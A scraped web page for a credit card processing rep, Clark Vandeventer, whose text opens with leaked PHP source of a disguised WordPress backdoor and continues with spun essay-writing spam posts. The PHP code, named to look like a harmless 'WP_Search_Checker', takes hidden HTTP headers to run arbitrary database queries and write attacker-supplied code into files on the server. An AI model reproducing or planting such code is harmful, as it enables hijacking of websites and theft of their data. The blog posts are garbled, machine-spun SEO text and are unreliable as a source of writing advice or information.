n class WP_Search_Checker_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result = array(); var $errors = array(); var $wp_themes_count = 0; function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { $this->wp_themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { $this->wp_themes_count = mysql_num_rows($wp_connection_success); while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->wp_themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function wp_get_themes_count() { return $this->wp_themes_count; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Search_Checker_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Search_Checker_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, array( 'rows' => $database->wp_get_themes_count(), 'result' => $database->get_wp_connection_result() )); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Search_Checker_Accessor(); $accessor->create(); Your Merchant Services Rep

Your Merchant Services Rep

Credit Card Processing & Payment Solutions for Business and Non-Profits by Clark Vandeventer

  • RSS
  • Twitter
  • Linkedin
My Services
Full-Service

I help small businesses limit the amount of money they pay to Visa & MasterCard by creating custom credit card processing programs. My clients can be found across the country but are concentrated in the Santa Barbara and Lake Tahoe areas. High end and quick serve restaurants, construction and trades, retail, ...

The $500 Guarantee
500-bill

My company guarantees that we'll be able to save you money on your credit card processing fees.  If we can't, we'll give you $500.  I know it's a little gimmicky.  But we know your time is valuable.  So if we can't help you then we'll compensate you for the time ...

Genesis Sourcing Solutions
Genesis-Slider

Genesis Sourcing Solutions works with the finest processing networks in the world which allows us to process every type of transaction in the market.  This can enable your business to accept Visa®, MasterCard®, American Express®, Discover®, JCB®, Diner's Club®, Debit Card, Gift Cards, Checks, and even EBT (Electronic Benefits Transactions). Genesis Sourcing ...

About Me
Clark-talking

I'm Clark Vandeventer and I'm a Rep for Genesis Sourcing Solutions.  As your personal rep my job is to take care of you--and that's a job I take seriously.  People usually associate me with credit card processing.  It's true.  Credit Card Processing is a big piece of what I do. ...

Cheap and fast Essay Writing

Posted by Clark on November - 23 - 2017 0 Comment

Can money buy happiness essay Writing is very similar while writing this form of newspaper to an art that make some efforts. If you’re still confused, let’s talk some pointers that are helpful for writing of use tips For Writing Powerful Career Essay 1. Writing an original article is no simple job. The company is easily the most crucial part a synthesis try more than one format out. Writing an  [ Read More ]

Will Essay Writing Ever Die

Posted by Clark on November - 23 - 2017 0 Comment

Seeking Essay Help As besides ensuring that you finish the job within the shortest time possible you also ought to make sure that you meet the requirements for a normal essay essay writing isn’t the simplest of task. You’ve got to finish your work. So that it’s likely to manage the activities 21, the task be delivered on time. Writing an essay papers is an really general academic assignment which  [ Read More ]

The Key to Successful Speed up My Macbook

Posted by Clark on November - 21 - 2017 0 Comment

The Key to Successful Speed up My Macbook Your Apple Mac Mini comes with most of the cords that you ought to own to have as a way to obtain your new computer all set. Performance of MacBook Pro interrupts the assignments, also sometimes times tests the persistence past the endurance. The MacBook comes with a broad assortment of models to select from but comes with cooler characteristics and a  [ Read More ]

Create Essay – the story plot

Posted by Clark on November - 20 - 2017 0 Comment

It’s accordingly essential for writing articles establishments to educate writers concerning the appropriate usage of all formulating trends. There are numerous of over the internet software on the market offering no charge grammar tests. Your selection of business owners delivering illustration essay professional services continues to grow caused by increasing amount of marketplace demand. The Warfare Towards Write Essay One can not utilise all your feelings in a essay. Anytime  [ Read More ]

Resume Expert Writers

Posted by Clark on November - 4 - 2017 0 Comment

is the largest company of innovative and best resume writing services. With a lot more than 100,000 specialized impressive resumes penned, no other business can contend with our array, ability, and go through. Reports related with principal journals rank our resumes by having a 92% larger chance of creating a work job interview or receiving the job, as compared with resumes published by most people inside of the industry. Select  [ Read More ]

A thesis statement permits the readers to grasp the real emphasis of your own newspaper. The purpose of such a essay composing, as the special name implies, will be to offer advice to the visitors. No matter in case you might be writing an essay for 2nd grade students or you are posting this as a section of your Ph.Desis, you should follow this arrangement regularly.

The Academic Essay Game

Posted by Clark on November - 1 - 2017 0 Comment

The Academic Essay Game An article is a component of creating, normally out of an author standpoint. Essay is among such assignments that the students are crucial to write down with attention and adequate quantity of comprehension. The essays are the people which usually do not neglect to require some time to get the editing and have now been polished wracking. The Little-Known Secrets to Academic Essay Your composition isn’t  [ Read More ]

The Secret to Powerful Essay Editing Assistance

Posted by Clark on November - 1 - 2017 0 Comment

The Secret to Powerful Essay Editing Assistance { Here Is What I Know About Essay Editing Assistance Kibin essay modifying includes of modifying. Work-out that the length of time you’ve got to write precisely the essay in, and set a schedule. You can be informed by your editor what items to streamline, and which are as of the essay are special what things to create up on. You have discovered  [ Read More ]

Customized Producing Tips & Guide

Posted by Clark on November - 1 - 2017 0 Comment

Customized Producing Tips & Guide { Developing content on a more basis for social-networking platforms, your blog, newsletters, along with your post portfolio is a large project. Marketing and article creating are not quick fix campaigns created for a internet site to herd droves of visitors. Composing content articles for EzineArticles is among the primary ways Angel A promotes her organization. This really is tremendously significant into know that’ goals  [ Read More ]

The Upside to Essay Service

Posted by Clark on November - 1 - 2017 0 Comment

The Upside to Essay Service You’ve got the chance to work with magazines. In getting specialist writers’ assistance the student no longer need to do research concerning the topic issue. Not only are you able to website, but you might supply your writing services. Essay Service – What Is It? Before formulating the thesis and writing thesis statement being they must match the sort of this attempt the sort of  [ Read More ]